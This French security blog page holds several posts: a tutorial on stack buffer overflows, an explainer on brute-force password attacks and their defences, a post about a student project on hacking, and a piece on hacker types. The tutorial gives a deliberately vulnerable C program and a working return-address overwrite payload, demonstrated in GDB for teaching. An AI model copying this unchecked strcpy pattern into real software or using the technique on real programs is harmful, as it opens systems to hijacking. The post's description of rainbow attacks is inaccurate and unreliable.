SecureM

Aller au contenu | Aller au menu | Aller à la recherche

Les attaques par Buffer Overflow (Partie 1)

Attention, aujourd'hui je vous présente un type d'attaque très particulier, et très complexe : les Buffers Overflows !

Il s'agit de l'exploitation d'une faille dite "applicative", c'est-à-dire que la faille concerne des applications, des programmes qui sont exécutés par votre ordinateur (votre navigateur en est un, mais des tas de services systèmes sont aussi des programmes). C'est une faille malheureusement encore trop répandue, et qui permet très souvent de faire exécuter du code arbitraire par le programme vulnérable (de commander le programme en question). C'est aussi une faille très très complexe, qui nécessite une solide connaissance du fonctionnement interne du système, mais j'essaierai de décrire simplement les parties qui nous intéressent.

Le principe

Pas besoin d'être bilingue anglais pour comprendre l'idée (d'accord, faut savoir ce qu'est un buffer) : littéralement "dépassement de tampon", il s'agit de faire rentrer dans un "buffer" (une zone de stockage temporaire) plus de données que prévu, et de le faire déborder pour injecter des données ailleurs dans la mémoire. Si, si. Et c'est vachement efficace (quand ça marche).

Les prérequis : la structure de la mémoire

Un processeur utilise ce qu'on appelle des registres, qui ont pour rôle de stocker diverses informations relatives à l'exécution des programmes. Nous nous intéresserons ici surtout au registre EIP (Extended Instruction Pointer), qui est sans doute le plus important puisqu'il stocke l'adresse de l'instruction en cours d'exécution (un programme étant constitué d'instructions).

Lorsqu'un programme est lancé, le système réserve une zone de mémoire pour son exécution, dans lequel sont stockés 5 segments :

Segment TEXT

Au démarrage du programme, le registre EIP pointe au tout début de ce segment, puis une fois que la première instruction aura été exécutée il sera décalé pour pointer vers l'instruction suivante, qui sera exécutée.

Aussi appelé segment code, ce segment contient le programme en lui-même, au format binaire.
Il est évidemment impossible d'y écrire à l'intérieur.

Segments DATA & BSS

Les variables initialisées sont placées dans DATA, les autres dans BSS. Cette zone ne nous intéresse pas.

Cette partie de la mémoire contient les variables déclarées au début du programme, et a donc une taille fixe (il n'y a que sa valeur qui change quand une variable est modifiée).

Segment HEAP

Ce segment n'ayant pas de taille fixe, il peut grandir vers les adresses mémoire les plus grandes.

Le segment HEAP contient les variables "dynamiques" du programmes (qui n'ont pas de taille prédéfinie et sont définies au cours du programme).

Segment STACK

C'est dans ce segment que tout va se jouer !
Cette "pile" (un peu comme une pile d'assiette, le premier arrivé est le dernier sorti) a également une taille variable, et grandit vers les adresses les plus basses.

La "pile" (stack en anglais) est une sorte de bloc-note temporaire des appels de fonction, qui stocke des blocs (nommés stack frames) contenant les arguments de la fonction appelée, l'adresse de l'instruction à exécuter après la fin de la fonction (et donc la valeur future de l'EIP), l'ancienne adresse du haut de la pile (donc l'étage du dessous), et les variables locales de la fonction.


Le code vulnérable

Et voici maintenant le code source qui va nous permettre d'obtenir un programme vulnérable aux Buffers Overflows (écrit en C, c'est par ici si vous ne connaissez rien au C - attention c'est très long d'apprendre à coder) :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void enregistrer_nom(char *nom_saisi) {

   char buffer_nom[100];

   strcpy(buffer_nom,nom_saisi);

   printf("Votre nom, %s, a été enregistré avec succès\n",buffer_nom);

}

int main(int argc, char *argv[]) {

   if (argc != 2) {
     printf("Usage : %s < Votre nom >\n",argv[0]);
     exit(0);
   }

  enregistrer_nom(argv[1]);

  printf("Fin du programme...\n");
  return 0;
}
Ce programme, est destiné à enregistrer un nom (oui je sais, les développeurs ont toujours beaucoup d'imagination quand il faut écrire un programme-exemple...), et est vulnérable. Allez, vous avez 30 secondes pour trouver le problème !

...

C'est bon ? Got it ?
Eh oui, c'est évidemment la fonction strcpy() qui n'est pas correctement utilisée !
   char buffer_nom[100];
   strcpy(buffer_nom,nom_saisi);
On place le nom_saisi, chaîne de caractère de longueur indéterminée, dans le buffer_nom, de longueur 100. En règle générale, pas de problème, puisque les noms font moins de 100 caractères : (oui je sais, là j'ai un peu plus d'imagination)
[mickael@ArchCyberTux build]$ ./stack-based_overflow
Usage : ./stack-based_overflow < Votre nom >
[mickael@ArchCyberTux build]$ ./stack-based_overflow "Léopoldichon Kroustillon"
Votre nom, Léopoldichon Kroustillon, a été enregistré avec succès
Fin du programme...

Le problème, c'est si le nom fait plus de 100 caractères :
[mickael@ArchCyberTux build]$ ./stack-based_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Votre nom, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, a été enregistré avec succès
Erreur de segmentation

On a le droit à une jolie erreur de segmentation ! (et vous avez remarqué que le message "Fin du programme..." ne s'est donc pas affiché)

La réécriture de la pile

Souvenez-vous de la constitution du segment STACK, on a dans l'ordre : les arguments, le Return Address (adresse de retour qui sera prise par l'EIP à la fin de la fonction), puis d'autres trucs moins intéressants, puis les variables locales, donc ici le buffer_nom qui reçoit la valeur du nom de l'utilisateur.

L'image de gauche montre la structure de la pile. Le haut de la pile correspond aux adresses les plus basses, et le bas aux plus hautes. Les données sont copiées dans en partant des adresses les plus basses vers les plus hautes (donc de haut en bas sur l'image et dans la pile).

A droite, voici la pile après copie du nom dans le buffer_nom : le processeur a copié dans la partie variables locales (buffer_nom est une variable locale, définie à l'intérieur de la fonction) ce qu'on lui a demandé, c'est-à-dire le nom récupéré. Mais comme il ne sait pas que le buffer ne fait que 100 caractères (en fait, c'est la fonction strcpy qui ne fait pas de vérification), il va continuer de copier jusqu'à la fin du nom, et va donc déborder (vers le bas puisque les données sont copiées de haut en bas) dans d'autres cases mémoires... dont le RA (Return Address) qui contient l'adresse de la prochaine instruction après la fin de la fonction. Et justement, à la fin de la fonction, EIP va prendre la valeur de RA qui ne correspond sûrement pas à une instruction valide... bim. Erreur de segmentation.

Et si on observe le crash du programme à travers le logiciel GDB (qui permet d'analyser finement les plantages), on observe :

(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/mickael/Programmation/BufferOverflowExploit/build/stack-based_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Votre nom, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, a été enregistré avec succès

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()

On voit que le processeur est allé à l'adresse 0x0000414141414141 et n'y a pas trouvé d'instruction valide... Et vous savez quoi ? Le caractère "A", en hexadécimal, s'écrit 0x41. On a donc réussi à placer des "A" dans le RA, et à détourner ce qu'on appelle le "flux d'exécution" du programme !
(bon, ok, là on l'a détourné mais il est pas allé loin...)

Utilisation basique d'un buffer overflow :

Vous l'aurez sûrement compris, le principe d'un Buffer Overflow est de réécrire l'adresse de retour ! Mais pour le détourner vers où ?

Pour notre exemple on va simplement le rediriger vers une autre fonction du programme !

Allez, un autre exemple bidon :

#include <stdio.h>
#include <stdlib.h>

#include <string.h>

// On définit le mot de passe secret qui déverrouillera l'accès
#define PASSE_SECRET "o$12kIjaZ"

// Déverrouillage de l'accès à l'entrepôt d'armes
void deverrouillage(){
printf("Bienvenue M. Chef !\n\n");
printf("Déverrouillage de la porte... ");
/* Oui bon... je vais pas faire une fonction

pour ouvrir une porte non plus ! */

printf(" porte déverrouillée !\n\n");
}

// Vérification du mot de passe
void verifier_passe(char *passe_saisi) {

char buffer_nom[100];

strcpy(buffer_nom,passe_saisi);

if(strcmp(passe_saisi,PASSE_SECRET) == 0) // Si le passe est correct

deverrouillage(); // On déverrouille
else
printf("Mauvais mot de passe !\n"); // ...ou pas.
}

int main(int argc, char *argv[]) {

if (argc != 2) {
printf("Usage : %s < Mot de passe supersecret >\n",argv[0]);
exit(0);
}

// Vérification du passe, et déverouillage si le passe est valide

verifier_passe(argv[1]);

printf("Fin du programme...\n");
return 0;
}

Ce programme se contente de demander un mot de passe pour déverrouiller l'entrepôt aux armes de la CIA (ça reste un exemple ^^). Nous, on est 007. Et on connaît pas le mot de passe.

[mickael@ArchCyberTux BufferOverflowExploit]$ ./bof2 CoinCoin?
Mauvais mot de passe !
Fin du programme...

Mais comme on sait que le programmeur n'a pas fait attention, on va utiliser un Buffer Overflow pour ouvrir cette satanée porte !

Bon, allez, on utilise notre super téléphone-à-tout-faire pour lancer le programme dans GDB :

Comment ça ? En plus vous voulez que James Bond vous explique ce qu'il fait ? Bon, ok... La commande "disas" de GDB permet de voir le code assembleur (plus ou moins) et notamment les adresses des instructions. Par exemple, on peut voir qu'il y a un appel à la fonction "verifier_passe". Hum ? allons voir cette fonction.
(gdb) disas main
Dump of assembler code for function main:
   0x000000000040066c <+0>:     push   %rbp
   0x000000000040066d <+1>:     mov    %rsp,%rbp
   0x0000000000400670 <+4>:     sub    $0x10,%rsp
   0x0000000000400674 <+8>:     mov    %edi,-0x4(%rbp)
   0x0000000000400677 <+11>:    mov    %rsi,-0x10(%rbp)
   0x000000000040067b <+15>:    cmpl   $0x2,-0x4(%rbp)
   0x000000000040067f <+19>:    je     0x4006a7 <main+59>
   0x0000000000400681 <+21>:    mov    -0x10(%rbp),%rax
   0x0000000000400685 <+25>:    mov    (%rax),%rdx
   0x0000000000400688 <+28>:    mov    $0x400838,%eax
   0x000000000040068d <+33>:    mov    %rdx,%rsi
   0x0000000000400690 <+36>:    mov    %rax,%rdi
   0x0000000000400693 <+39>:    mov    $0x0,%eax
   0x0000000000400698 <+44>:    callq  0x4004b0 <printf@plt>
   0x000000000040069d <+49>:    mov    $0x0,%edi
   0x00000000004006a2 <+54>:    callq  0x4004d0 <exit@plt>
   0x00000000004006a7 <+59>:    mov    -0x10(%rbp),%rax
   0x00000000004006ab <+63>:    add    $0x8,%rax
   0x00000000004006af <+67>:    mov    (%rax),%rax
   0x00000000004006b2 <+70>:    mov    %rax,%rdi
   0x00000000004006b5 <+73>:    callq  0x400620 <verifier_passe>
   0x00000000004006ba <+78>:    mov    $0x400861,%edi
   0x00000000004006bf <+83>:    callq  0x4004c0 <puts@plt>
   0x00000000004006c4 <+88>:    mov    $0x0,%eax
   0x00000000004006c9 <+93>:    leaveq
   0x00000000004006ca <+94>:    retq  
End of assembler dump.

(gdb) disas verifier_passe
Dump of assembler code for function verifier_passe:
   0x0000000000400620 <+0>:     push   %rbp
   0x0000000000400621 <+1>:     mov    %rsp,%rbp
   0x0000000000400624 <+4>:     add    $0xffffffffffffff80,%rsp
   0x0000000000400628 <+8>:     mov    %rdi,-0x78(%rbp)
   0x000000000040062c <+12>:    mov    -0x78(%rbp),%rdx
   0x0000000000400630 <+16>:    lea    -0x70(%rbp),%rax
   0x0000000000400634 <+20>:    mov    %rdx,%rsi
   0x0000000000400637 <+23>:    mov    %rax,%rdi
   0x000000000040063a <+26>:    callq  0x400500 <strcpy@plt>
   0x000000000040063f <+31>:    mov    -0x78(%rbp),%rax
   0x0000000000400643 <+35>:    mov    $0x400812,%esi
   0x0000000000400648 <+40>:    mov    %rax,%rdi
   0x000000000040064b <+43>:    callq  0x4004f0 <strcmp@plt>
   0x0000000000400650 <+48>:    test   %eax,%eax
   0x0000000000400652 <+50>:    jne    0x400660 <verifier_passe+64>
   0x0000000000400654 <+52>:    mov    $0x0,%eax
   0x0000000000400659 <+57>:    callq  0x4005f4 <deverrouillage>
   0x000000000040065e <+62>:    jmp    0x40066a <verifier_passe+74>
   0x0000000000400660 <+64>:    mov    $0x40081c,%edi
   0x0000000000400665 <+69>:    callq  0x4004c0 <puts@plt>
   0x000000000040066a <+74>:    leaveq
   0x000000000040066b <+75>:    retq  
End of assembler dump.

Ah bah tiens, ça alors ! Une fonction de déverrouillage, à l'adresse 0x0000000000400659 ! Mais elle n'est pas appelée à moins d'avoir le mot de passe...

Allez, et si on essayait de placer cette fameuse adresse dans le RA ? Hein ? Comme ça, à la fin de la fonction, cette fonction de déverrouillage serait appelée !

(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/mickael/Programmation/BufferOverflowExploit/bof2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Mauvais mot de passe !

Program received signal SIGSEGV, Segmentation fault.
0x0000000000004141 in ?? ()

Bon, on a l'adresse  0x004141 et on cherche l'adresse 0x400659. Avec un A en plus ?

Program received signal SIGSEGV, Segmentation fault.
0x0000000000414141 in ?? ()

Voilà, on a le bon nombre d'octets, on n'a plus qu'à remplacer les 3 derniers A par la valeur en hexadécimal de l'adresse (attention comme, notre système est en little endian, il faut inverser l'ordre des octets).

(gdb) r `perl -e 'print "A" x 120 . "\x59\x06\x40"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/mickael/Programmation/BufferOverflowExploit/bof2 `perl -e 'print "A" x 120 . "\x59\x06\x40"'`
Mauvais mot de passe !
Bienvenue M. Chef !

Déverrouillage de la porte...  porte déverrouillée !


Program received signal SIGBUS, Bus error.
0x000000000040066a in verifier_passe ()

Et voilà !! (ne vous extasiez pas, c'est normal pour James Bond...)

Quelques remarques : j'ai utilisé une commande Perl pour obtenir les caractères correspondants aux valeurs hexadécimales. Et puis, le programme a aussi planté puisque de toutes manières, on lui avait supprimé des bouts de mémoire (remplacés pour être exact).

Et voilà pour cette première partie !

Prochaines parties :

Pour cet article, nous avons vu comment appeler n'importe quelle fonction de manière arbitraire, à condition que le programme soit vulnérable (présence d'une fonction strcpy par exemple). Mais nous ne pourront jamais faire que ce qui a été écrit dans le programme (James Bond n'aurait pas pu jouer à Pacman parce qu'aucune fonction pour y jouer n'était présente dans le programme), et ça limite très rapidement le champ d'action.

Nous allons donc voir dans la prochaine partie le moyen d'exécuter notre propre code dans le programme, au moyen notamment de ShellCodes à injecter. On s'intéressera aussi au moyen d'exécuter ce code avec des droits plus élevés si le programme répond à quelques conditions :)

La Bruteforce

La Bruteforce... c'est un nom un peu bourrin je vous l'accorde ^^
Mais pourtant ça veut bien dire ce que ça veut dire : la force brute.

Mais commençons par le début : kesskécé ?

La Bruteforce : utilité

La Bruteforce est une attaque informatique visant à trouver une bonne séquence de caractères : un code.
On va donc "forcer" le code comme on forcerait une porte. Cette attaque utilise la puissance de l'ordinateur, qui est capable d'essayer plusieurs centaines de combinaisons à la minute...

La cible est généralement un système demandant un mot de passe, ou bien un mot de passe crypté qu'il faut décrypter - j'en reparlerai plus tard.

On a donc un système demandant un mot de passe. Par exemple une page de connexion à une interface d'administration. On a déjà le nom d'utilisateur mais pas le mot de passe.
Le bruteforceur a pour but de trouver ce mot de passe en les essayant... tous.

La Bruteforce : essayer toutes les combinaisons possibles

Quand je vous disais que c'était un truc de bourrin...
Ce procédé est aussi appelé attaque incrémentale parce qu'elle essaie chaque mot de passe possible l'un après l'autre :
Par exemple pour un code numérique à 4 caractères :
  • 0000
  • 0001
  • 0002
  • ...
  • 0010
  • 0011
  • ...
  • 0156
  • ...
  • 5910
  • ...
  • 9999
En pratique le bruteforceur n'atteindra que rarement 9999, puisqu'en envoyant chaque code au système, celui-ci répondra inlassablement "Code faux" jusqu'à que le bon code soit essayé... "Code valide, vous êtes maintenant connecté !"
Vous imaginez ? Ca fait froid dans le dos non ?
Surtout que les protections existantes ne sont pas nombreuses : on est obligé de laisser un utilisateur envoyer son code pour qu'il puisse se connecter...
Lorsque le réseau délivre 5000 tentatives de connexions à la minute, il fait parfaitement son travail !

La Bruteforce : protections

Voici les moyens les plus efficaces et les plus utilisés pour lutter contre la bruteforce :
  1. La limitation du nombre de connexions échouées : on fixe par exemple une limite de 5 tentatives ratées avant le blocage de l'utilisateur, par exemple pour une durée de 24H. Le problème majeur présenté par cette technique - qui est cependant la plus répandue car plus facile à mettre en place - est qu'elle bloque un ordinateur / une adresse IP pour un certain temps, ce qui peut être regrettable dans le cadre d'un poste public, ou pire d'un serveur piraté qui ne pourrait plus se connecter à un autre serveur (par exemple un serveur de base de données qui bloquerait le serveur web) ...
  2. Le placement d'un délai minimum entre deux tentatives : par exemple pas plus d'une tentative en 30 secondes, ce qui est raisonnable pour un humain normal, mais augmenterait considérablement le temps mis pour bruteforcer le mot de passe...
    Cette technique est plus difficile à mettre en place, mais est plus intelligente que la première.
  3. Les deux mon capitaine ! C'est en effet le mélange des deux principales solutions qui marche le mieux, et qui est par exemple utilisé sur les système Unix/Linux.
Et encore je ne vous ai pas parlé des autres solutions, qui restent grosso modo des remake de ces deux solutions...
Vous pourrez ainsi voir fail2ban, qui bloque automatiquement les IPs suspectes ...

La Bruteforce : performances et solution ultime

Mais LA meilleure solution pour éviter de voir une attaque par bruteforce réussir, c'est... d'avoir un bon mot de passe !
Plus "strong" sera ton mot de passe, plus de temps mettra ton attaquant à le trouver ! dixit un jour un petit personnage vert dont je ne me souviens plus du nom...
Ainsi, un mot de passe de 6 caractères ou moins est très vulnérable (moins de 24H environ pour le trouver) ;
Un mot de passe avec uniquement des minuscule aussi, c'est pourquoi je préconise un mot de passe de 7-8 caractères au moins, avec des majuscules, des minuscules, des chiffres et des caractères spéciaux.
Enfin, évitez par pitié les mots courants ou les noms ! Ces mots de passe sont particulièrement vulnérables aux attaques par dictionnaire (Dictionary Attacks) et aux Rainbow Attacks (pas la pêche de traduire ^^)

Le mot de passe idéal est par exemple la première lettre de chaque mot d'une phrase : personnellement j'utilise souvent - par exemple - "Je suis un joueur de ce jeu formidable qu'est ***" qui donne > j$1j2cjfqe***
Avouez que c'est plus dur à trouver que sebastien42 !

La défense ultime contre la Bruteforce est donc de choisir un mot de passe suffisamment long :)

Les attaques par dictionnaire et les Rainbow Attacks

Il existe 3 types d'attaques BruteForce :
  • La Bruteforce incrémentale, qui essaie TOUTES les combinaisons dans l'ordre. (AAA AAB AAC ...)
  • Les Dictionary Attacks : on essaie tous les mots du dictionnaire, ce qui est nettement moins lourd que l'attaque incrémentale (beaucoup moins de possibilités).
  • Les Rainbow Attacks : on essaie tous les mots du dictionnaire, avec d'autres lettres, chiffres, symboles, etc... C'est une sorte de remix des deux précédents. Et la plus efficace.


J'étofferai sûrement cet article dans les jours qui viennent si je ne suis pas trop pris.
A bientôt, en espérant que cet article vous a été utile :)

TPE : Le piratage informatique

Aujourd'hui, nous avons passé l'oral du TPE, qui compte je vous le rappelle pour le baccalauréat coefficient 2.
Dans notre groupe de quatre, nous avons choisi le piratage informatique comme thème, et joins à ce message le dossier et la présentation que nous avons réalisés.

Au programme : le Hacking (histoire, grands noms, types de hackers), puis les injections SQL, réalisée par Victor B., le phishing, réalisé par Patrick E., puis la Bruteforce, réalisé par Victor A., et pour finir, la faille DNS, que j'ai moi-même présenté.
Nous avons effectuée une démonstration de bruteforce sur les ordinateurs de la salle, où l'examinateur rentrait un mot de passe numérique à 4 chiffres sur le serveur, et un autre ordinateur client le bruteforçait en moins de 4 secondes =D

Le dossier n'est peut-être pas parfait, mais j'espère qu'il pourra vous aider, vous éclairer, ou au moins vous faire découvrir le piratage informatique =D

Télécharger le dossier (PDF)
Télécharger la présentation (Présentation OpenDocument)


Un peu de culture: les "hackers"

Vous en avez souvent entendu parler, mais vous ne savez sûrement pas ce qu'est un script-kiddie, pourquoi les pirates piratent, ou encore ce que signifie réellement le terme hacker.

Je vais donc vous emmener pour une visite dans le monde du piratage informatique !

Les "hackers" (sécurité informatique)

C'est bien joli, ce mot, mais savez vous réellement ce qu'il signifie ?

Ci-contre: "Pirate creusant, à la recherche d'un trésor" de "Howard Pyle - Harper's Magazine, 1894". Les pirates informatiques sont-ils réellement différents ?
Toujours et encore des hommes à la recherche d'un trésor, attaquant d'autres personnes et leur volant leurs biens, très redoutés et hors-la-loi. Recherchés mais rarement capturés, il surfent à la recherche d'une proie. Ils cherchent, essaient de trouver le coffre qui contient le trésor comme les autres cherchent les failles qui leur ouvriront le serveur.
Le mot hacker, employé à tort et à travers, ne signifie pas réellement pirate, même si les deux mots sont associés: la traduction serait plutôt "fouineur" ou "bidouilleur"; ce sont des personnes pas forcément mal intentionnées, mais qui "jouent" et se jouent (trop souvent) des systèmes de sécurité.

Mais sans plus tarder, vous devez faire la différence entre les différents types de hackers:

Les Black Hat hackers

Ce sont les "méchants" pirates, qui veulent s'introduire sur un serveur pour le rayer de la toile ou pour détruire des données importantes. Ils agissent pour leur propre compte et n'ont pas de scrupules. Ce sont parfois des crashers dont le seul but est de faire tomber les serveurs. Ils agissent toujours dans leur propre but, le plus souvent pour récolter de l'argent.

Les White Hat hackers

Par opposition aux "Black Hat", ce sont des "gentils" pirates, qui recherchent les failles pour les rapporter aux responsables techniques du serveur vulnérable et ainsi combler les trous de sécurité.

Les Grey Hat hackers

Bien évidemment, rares sont les White Hat immaculés: les Grey Hat sont entre les deux, et s'ils ne détruisent généralement rien, ils ne rapportent pas toujours une faille qu'ils viennent de découvrir: ils creusent, s'amusent un peu, et finissent généralement par contacter le webmaster pour réparer la faille. C'est généralement l'"exploit" qui les motive, ils piratent "pour le sport" mais sans mauvaises idées. Ils ne sont pas très dangereux mais attention quand même.

Les Script-Kiddies

Peut-être les pires de tous. Ce sont généralement des jeunes adolescent en manque de reconnaissance qui veulent s'affirmer en piratant des sites, en étant un "hacker" (ça fait classe, non ?). Mais, manque de bol, ils n'ont aucune connaissance en informatique. Ils utilisent donc des "scripts" nommés "exploits" pour prendre le contrôle de sites ou d'ordinateurs, d'où le nom de "script-kiddies". Il faut souligner le fait que cette catégorie de "hackers" est détestée de tous, autant pour le fait qu'elle n'a aucun scrupule à supprimer des données importantes, mais aussi parce que généralement elle ne comprend rien à ce qu'elle utilise.
Cette catégorie est aussi souvent appelée Lamers. Terme tout autant péjoratif.


J'ai fait le tour de la question, si vous avez des questions , n'hésitez pas à laisser un commentaire.